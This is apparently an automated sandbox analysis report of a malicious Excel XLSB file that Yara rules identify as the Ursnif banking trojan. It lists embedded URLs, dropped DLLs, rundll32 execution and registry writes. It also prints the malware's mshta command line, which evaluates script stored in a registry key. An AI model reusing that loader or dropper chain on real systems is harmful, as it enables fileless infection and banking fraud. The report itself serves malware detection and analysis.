Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://management.azure.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://messaging.office.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ncus-000.contentsync.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ncus-000.pagecontentsync.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://officeapps.live.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://onedrive.live.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://tasks.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://wus2-000.contentsync.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://wus2-000.pagecontentsync.
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 10C955FB-4BA9-49A9-ADB0-58D59856D9CE.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Uses HTTPS

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 162.241.169.26:443 -> 192.168.2.3:49731 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Source: Yara match	File source: 00000001.00000003.484929367.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484909959.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491441332.0000000005B6B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484870003.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484795532.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484765467.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484838302.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484894517.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484953925.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7104, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Source: Yara match	File source: 00000001.00000003.484929367.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484909959.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491441332.0000000005B6B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484870003.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484795532.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484765467.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484838302.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484894517.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484953925.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7104, type: MEMORY

System Summary:

Office process drops PE file

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].dll			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\ProgramData\fsh\87.dll			Jump to dropped file

Writes registry values via WMI

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Searches for the Microsoft Outlook file path

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Classification label

Source: classification engine

Classification label: mal100.troj.expl.winXLSB@11/20@12/3

Creates files inside the user directory

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Creates temporary files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{F1020262-3A5E-4343-9586-95E15C7BFAD3} - OProcSessId.dat

Jump to behavior

Reads ini files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\SysWOW64\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Runs a DLL by calling functions

Source: unknown

Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\fsh\87.dll,DllRegisterServer

Spawns processes

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\fsh\87.dll,DllRegisterServer
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:17410 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:82952 /prefetch:2
Source: unknown	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:17430 /prefetch:2
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\System32\rundll32.exe' C:\ProgramData\fsh\87.dll,DllRegisterServer			Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:17410 /prefetch:2			Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:82952 /prefetch:2			Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2288 CREDAT:17430 /prefetch:2			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Document is a ZIP file with path names indicative of goodware

Source: File_78476.xlsb	Initial sample: OLE zip file path = docProps/thumbnail.wmf
Source: File_78476.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: File_78476.xlsb	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin

Checks if Microsoft Office is installed

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Binary contains paths to debug symbols

Source:

Binary string: c:\Campenergy\wouldShoulder\learnable\motion.pdb source: 11[1].dll.0.dr

Persistence and Installation Behavior:

Drops PE files

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].dll			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\ProgramData\fsh\87.dll			Jump to dropped file

Drops PE files to the application program directory (C:\ProgramData)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\ProgramData\fsh\87.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Source: Yara match	File source: 00000001.00000003.484929367.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484909959.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491441332.0000000005B6B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484870003.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484795532.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484765467.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484838302.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484894517.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484953925.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7104, type: MEMORY

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Found dropped PE file which has not been started or loaded

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].dll

Jump to dropped file

HIPS / PFW / Operating System Protection Evasion:

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: unknown

Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'

Language, Device and Operating System Detection:

Queries the installation date of Windows

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Stealing of Sensitive Information:

Yara detected Ursnif

Source: Yara match	File source: 00000001.00000003.484929367.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484909959.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491441332.0000000005B6B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484870003.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484795532.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484765467.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484838302.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484894517.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484953925.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7104, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Source: Yara match	File source: 00000001.00000003.484929367.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484909959.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.491441332.0000000005B6B000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484870003.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484795532.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484765467.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484838302.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484894517.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.484953925.0000000005CE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 7104, type: MEMORY